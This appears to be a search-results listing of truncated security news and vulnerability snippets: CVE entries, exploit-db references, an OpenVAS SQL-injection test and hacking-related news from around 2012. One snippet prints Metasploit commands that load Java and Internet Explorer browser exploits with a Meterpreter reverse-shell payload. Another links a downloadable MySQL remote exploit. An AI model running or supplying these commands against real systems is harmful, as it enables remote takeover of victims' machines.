9609 matches found
Renren seven years activities of the lottery machine can break through the limit of infinite shake-vulnerability warning-the black bar safety net
http://seven.renren.com/websitecelebrate There is a lottery machine, shake it out, the results did not, suggesting that the next rocker to be in the next one hour. ! http://s.xnimg.cn/a49632/actimg/12anniversary/js/anniversary.js Found so a JS file that contains the 7 anniversary of the page the...
The New Year initial, Java break first 0day-vulnerability warning-the black bar safety net
1 1: The 0 0 UPDATE: MSF has been updated related to penetration testing module use exploit/windows/browser/iecbuttonuaf use exploit/multi/browser/javajre17jmxbean set SRVHOST 192.168.178.26 set TARGET 1 set PAYLOAD windows/meterpreter/reversetcp set LHOST 192.168.178.26 exploit sysinfo getuid Mo...
MySQL - Stuxnet Technique Windows Remote System
MySQL - Stuxnet Technique Windows Remote System MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit Version 1.0 By Kingcope In the Year of 2012 https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/23083.zip use this on a fast scan server! How to use...
CVE-2012-4409
creationtimestamp| type| source ---|---|--- 2012-11-26 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/22938 2012-11-26 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/22928...
Skype Illegally handed over data of alleged Anonymous Paypal Hacker
Dutch media report Skype has Illegally without court order distributed a 16 years old user's personal information including user name, real name, email addresses and the home address used for payment to a private company consistently a police investigation into Anonymous-sanctioned cyber attacks ...
CVE-2011-5140
Multiple SQL injection vulnerabilities in the blog module 1.0 for DiY-CMS allow remote attackers to execute arbitrary SQL commands via the 1 start parameter to a tags.php, b list.php, c index.php, d mainindex.php, e viewpost.php, f archive.php, g control/approvecomments.php, h...
PT-2012-2118
Name of the Vulnerable Software and Affected Versions DiY-CMS blog module version 1.0 Description The issue allows remote attackers to execute arbitrary SQL commands. This is achieved via the start parameter to various API endpoints, including "tags.php", "list.php", "index.php", "main index.php"...
CVE-2011-5140: Improper Neutralization of Special Elements used in an SQL Command
Multiple SQL injection vulnerabilities in the blog module 1.0 for DiY-CMS allow remote attackers to execute arbitrary SQL commands via the 1 start parameter to a tags.php, b list.php, c index.php, d mainindex.php, e viewpost.php, f archive.php, g control/approvecomments.php, h...
CVE-2012-2391
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2012-2942. Reason: This candidate is a duplicate of CVE-2012-2942. Notes: All CVE users should reference CVE-2012-2942 instead of this candidate. All references and descriptions in this candidate have been removed to prevent...
Attorney General Holder Announces Probe Into Cyberwar Leaks
U.S. Attorney General Eric Holder has issued an assignment to the U.S. District Attorneys to start an investigation into possible leaks of classified information, presumably by individuals within the Obama administration who recently spoke anonymously about the administration’s ties to the...
CVE-2012-4267
creationtimestamp| type| source ---|---|--- 2012-05-12 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18868...
CVE-2012-3834
creationtimestamp| type| source ---|---|--- 2012-04-29 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18800 2012-07-23 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/20062...
CVE-2012-4060
creationtimestamp| type| source ---|---|--- 2012-04-27 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/37119...
CVE-2012-2110
creationtimestamp| type| source ---|---|--- 2012-04-19 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18756...
Joomla Estate Agent Component 'id' Parameter SQL Injection Vulnerability
This host is running Joomla The Estate Agent component and is prone to SQL injection vulnerability. OpenVAS Vulnerability Test $Id: gbjoomlacomestateagentsqlinjvuln.nasl 6022 2017-04-25 12:51:04Z teissa $ Joomla Estate Agent Component 'id' Parameter SQL Injection Vulnerability Authors: Madhuri D...
The Pirate Bay Buys Greek Airspace for Launching Low Orbit Server Drones
The Pirate Bay Buys Greek Airspace for Launching Low Orbit Server Drones Few days back we reported that, One of the world's largest BitTorrent sites "The Pirate Bay" is going to put servers on GPS-controlled aircraft drones in order to evade authorities who are looking to shut the site down. Most...
CVE-2011-3060
Google Chrome before 18.0.1025.142 does not properly handle text fragments, which allows remote attackers to cause a denial of service out-of-bounds read via unspecified vectors...
CVE-2012-2741
creationtimestamp| type| source ---|---|--- 2012-03-21 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18639...